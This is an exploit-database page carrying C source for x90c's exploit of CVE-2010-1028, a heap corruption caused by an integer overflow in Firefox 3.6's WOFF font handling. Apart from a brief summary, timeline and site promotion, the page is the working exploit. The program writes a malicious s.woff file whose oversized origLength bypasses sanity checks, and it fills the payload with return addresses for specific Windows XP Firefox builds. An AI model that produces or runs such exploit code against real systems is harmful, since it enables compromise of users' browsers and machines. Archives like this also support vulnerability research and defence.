Lucene search
K

Mozilla Firefox 3.6 - Integer Overflow Exploit

🗓️ 19 Aug 2013 00:00:00Reported by x90cType 
zdt
 zdt
🔗 0day.today👁 51 Views

Mozilla Firefox 3.6 - Integer Overflow Exploit. Integer overflow exploit targeting Mozilla Firefox 3.6 and related products. Full exploit available at http:/www.exploit-db.com/sploits/27698.tgz. Affected products include Firefox 3.6, Beta versions, and RC versions. Fixed in Mozilla Firefox 3.6.2. Security bug credit to Evgeny Legerov < intevydis.com >. Timeline of discovery, analysis, and reporting included

Related
Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <zlib.h>
 
/*
    x90c WOFF 1day exploit
 
    (MFSA2010-08 WOFF Heap Corruption due to Integer Overflow 1day exploit)
 
    CVE-ID: CVE-2010-1028
 
    Full Exploit: http:/www.exploit-db.com/sploits/27698.tgz
 
    Affacted Products:
        - Mozilla Firefox 3.6 ( Gecko 1.9.2 )
        - Mozilla Firefox 3.6 Beta1, 3, 4, 5 ( Beta2 ko not released )
        - Mozilla Firefox 3.6 RC1, RC2
 
    Fixed in:
        - Mozilla Firefox 3.6.2 ( after 3.6 version this bug fixed )
  
    security bug credit: Evgeny Legerov < intevydis.com >
  
    Timeline:
        2010.02.01 - Evengy Legerov Initial discovered and shiped it into
                     "Immunity 3rd Party Product VulnDisco 9.0"
                     https://forum.immunityinc.com/board/thread/1161/vulndisco-9-0/
        2010.02.18 - without reporter, it self analyzed
                     and contact to mozilla and secunia before advisory reporting
                     http://secunia.com/advisories/38608
        2010.03.19 - CVE registered
                     http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-1028
        2010.03.22 - Mozilla advisory report
                     http://www.mozilla.org/security/announce/2010/mfsa2010-08.html
        2010.04.01 - x90c exploit (x90c.org)
  
    Compile:
    [[email protected] woff]# gcc CVE-2010-1028_exploit.c -o CVE-2010-1028_exploit -lz
 
 
    rebel: greets to my old l33t hacker dude in sweden
    ... BSDaemon: and Invitation of l33t dude for exploit share
    #[email protected], #[email protected]
 
 
    x90c
     
*/
 
typedef unsigned int    UInt32;
typedef unsigned short  UInt16;
 
/*
    for above two types, some WOFF header struct uses big-endian byte order.
*/
 
typedef struct
{
    UInt32  signature;
    UInt32  flavor;
    UInt32  length;
    UInt16  numTables;
    UInt16  reserved;
    UInt32  totalSfntSize;
    UInt16  majorVersion;
    UInt16  minorVersion;
    UInt32  metaOffset;
    UInt32  metaLength;
    UInt32  metaOrigLength;
    UInt32  privOffset;
    UInt32  privLength;
} WOFF_HEADER; 
 
typedef struct
{
    UInt32  tag;
    UInt32  offset;
    UInt32  compLength;
    UInt32  origLength;
    UInt32  origChecksum;
} WOFF_DIRECTORY;
 
#define FLAVOR_TRUETYPE_FONT    0x0001000
#define FLAVOR_CFF_FONT         0x4F54544F
 
struct ff_version
{
    int num;
    char *v_nm;
    unsigned long addr;
};
 
struct ff_version plat[] =
{
{
    0, "Win XP SP3 ko - FF 3.6", 0x004E18ED
},
{
    1, "Win XP SP3 ko - FF 3.6 Beta1", 0x004E17BD
},
{
    2, "Win XP SP3 ko - FF 3.6 Beta3", 0x004E193D
},
{
    3, "Win XP SP3 ko - FF 3.6 Beta4", 0x004E20FD
},
{
    4, "Win XP SP3 ko - FF 3.6 Beta5", 0x600A225D
},
{
    5, "Win XP SP3 ko - FF 3.6 RC1", 0x004E17BD
},
{
    6, "Win XP SP3 ko - FF 3.6 RC2", 0x004E18ED
},
{
    0x00, NULL, 0x0
}
};
 
void usage(char *f_nm)
{
    int i = 0;
 
    fprintf(stdout, "\n Usage: %s [Target ID]\n\n", f_nm);
     
    for(i = 0; plat[i].v_nm != NULL; i++)
        fprintf(stdout, "\t{%d} %s. \n", (plat[i].num), (plat[i].v_nm));
 
    exit(-1);
}
 
int main(int argc, char *argv[]) {
    WOFF_HEADER    woff_header;
    WOFF_DIRECTORY woff_dir[1];
    FILE *fp;
    char dataBlock[1024];
    char compressed_dataBlock[1024];
    char de_buf[1024];
    int total_bytes = 0, total_dataBlock = 0;  
    unsigned long destLen = 1024;
    unsigned long de_Len = 1024;
    unsigned long i = 0;
    unsigned long addr_saved_ret_val = 0;
    int ret = 0;
    int n = 0;
 
    if(argc < 2)
        usage(argv[0]);
 
    n = atoi(argv[1]);
 
    if(n < 0 || n > 6)
    {
        fprintf(stderr, "\nTarget number range is 0-6!\n");
        usage(argv[0]);
    }
 
    printf("\n#### x90c WOFF exploit ####\n");
    printf("\nTarget: %d - %s\n\n", (plat[n].num), (plat[n].v_nm));
 
    // WOFF HEADER
    woff_header.signature = 0x46464F77;         // 'wOFF' ( L.E )
    woff_header.flavor = FLAVOR_TRUETYPE_FONT;  // sfnt version ( B.E )
    woff_header.length = 0x00000000;            // woff file total length ( B.E )
    woff_header.numTables = 0x0100;             // 0x1 - woff dir entry length ( B.E )
    woff_header.reserved = 0x0000;              // res bit ( all zero )
 
    // totalSFntSize value will bypass validation condition after integer overflow
    woff_header.totalSfntSize = 0x1C000000;     // 0x0000001C ( B.E )
    woff_header.majorVersion = 0x0000;          // major version
    woff_header.minorVersion = 0x0000;          // minor version
    woff_header.metaOffset = 0x00000000;        // meta data block offset ( not used )
    woff_header.metaLength = 0x00000000;        // meta data block length ( not used )
    woff_header.metaOrigLength = 0x00000000;    // meta data block before-compresed length ( not used )
    woff_header.privOffset = 0x00000000;        // Private data block offset ( not used )
    woff_header.privLength = 0x00000000;        // Private data block length
 
    woff_dir[0].tag = 0x54444245;               // 'EBDT' ( B.E )
    woff_dir[0].offset = 0x40000000;            // 0x00000040 ( B.E )
    woff_dir[0].compLength = 0x00000000;        // ( B.E )
 
    // to trigger field bit.
    // 0xFFFFFFF8-0xFFFFFFFF value to trigger integer overflow.
    // 1) calculation result is 0, it's bypass to sanityCheck() function
    // 2) passed very long length into zlib Decompressor, it's trigger memory corruption!
 
    // 0xFFFFFFFD-0xFFFFFFFF: bypass sanityCheck()
    // you can use only the value of 0xFFFFFFFF ( integer overflow!!! )
    // you can't using other values to bypass validation condition
    woff_dir[0].origLength = 0xFFFFFFFF;        // 0xFFFFFFFF ( B.E )
 
    printf("WOFF_HEADER     [ %d bytes ]\n", sizeof(WOFF_HEADER));
    printf("WOFF_DIRECTORY  [ %d bytes ]\n", sizeof(WOFF_DIRECTORY));
 
    // to compress data block
    // [ 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c ... ]
    // ...JIT spray stuff...
 
    addr_saved_ret_val = plat[n].addr;
    addr_saved_ret_val += 0x8;  // If add 8bytes it reduced reference error occurs
 
    for(i = 0; i < sizeof(dataBlock); i+=4)  // 0x004E18F5
    {
        dataBlock[i+0] = (addr_saved_ret_val & 0x000000ff);
        dataBlock[i+1] = (addr_saved_ret_val & 0x0000ff00) >> 8;
        dataBlock[i+2] = (addr_saved_ret_val & 0x00ff0000) >> 16;
        dataBlock[i+3] = (addr_saved_ret_val & 0xff000000) >> 24;
    }
 
    // compress dataBlock with zlib's compress()
    if(compress((Bytef *)compressed_dataBlock,
                 (uLongf *)&destLen,
                 (Bytef *)dataBlock,
                 (uLong)(sizeof(dataBlock))
                 ) != Z_OK)
    {
        fprintf(stderr, "Zlib compress failed!\n");
        exit(-1);
    }
     
    printf("\nZlib compress(dataBlock) ...\n");
    printf("DataBlock                   [ %u bytes ]\n", sizeof(dataBlock));
    printf("Compressed DataBlock        [ %u bytes ]\n", destLen);
    printf("[ Z_OK ]\n\n");
 
    total_bytes = sizeof(WOFF_HEADER) +
                  sizeof(WOFF_DIRECTORY) +
                  destLen;
 
    total_dataBlock = destLen;
 
    printf("Total WOFF File Size: %d bytes\n", total_bytes);
     
    // byte order change to total_bytes, total_dataBlock ( L.E into B.E )
    total_bytes =
        ((total_bytes & 0xff000000) >> 24) |
        ((total_bytes & 0x00ff0000) >> 8) |
        ((total_bytes & 0x0000ff00) << 8) |
        ((total_bytes & 0x000000ff) << 24);
    woff_header.length = total_bytes;
 
    total_dataBlock =
        ((total_dataBlock & 0xff000000) >> 24) |
        ((total_dataBlock & 0x00ff0000) >> 8) |
        ((total_dataBlock & 0x0000ff00) << 8) |
        ((total_dataBlock & 0x000000ff) << 24);
 
    woff_dir[0].compLength = total_dataBlock;
 
    // create attack code data
    if((fp = fopen("s.woff", "wb")) < 0)
    {
        fprintf(stderr, "that file to create open failed\n");
        exit(-2);
    }
 
    // setup WOFF data store
    fwrite(&woff_header, 1, sizeof(woff_header), fp);
    fwrite(&woff_dir[0], 1, sizeof(woff_dir[0]), fp);
    fwrite(&compressed_dataBlock, 1, destLen, fp);
 
    fclose(fp);
 
    // zlib extract test
    ret = uncompress(de_buf, &de_Len, compressed_dataBlock, destLen);
    if(ret != Z_OK)
    {
        switch(ret)
        {
            case Z_MEM_ERROR:
                printf("Z_MEM_ERROR\n");       
                break;
            case Z_BUF_ERROR:
                printf("Z_BUF_ERROR\n");
                break;
            case Z_DATA_ERROR:
                printf("Z_DATA_ERROR\n");
                break;
        }
 
        fprintf(stderr, "Zlib uncompress test failed!\n");
        unlink("./s.woff");
        exit(-3);
    }
 
    printf("\nZlib uncompress test(compressed_dataBlock) ...\n");
    printf("[ Z_OK ]\n\n");
 
    return 0;
}
 
/* eof */

#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation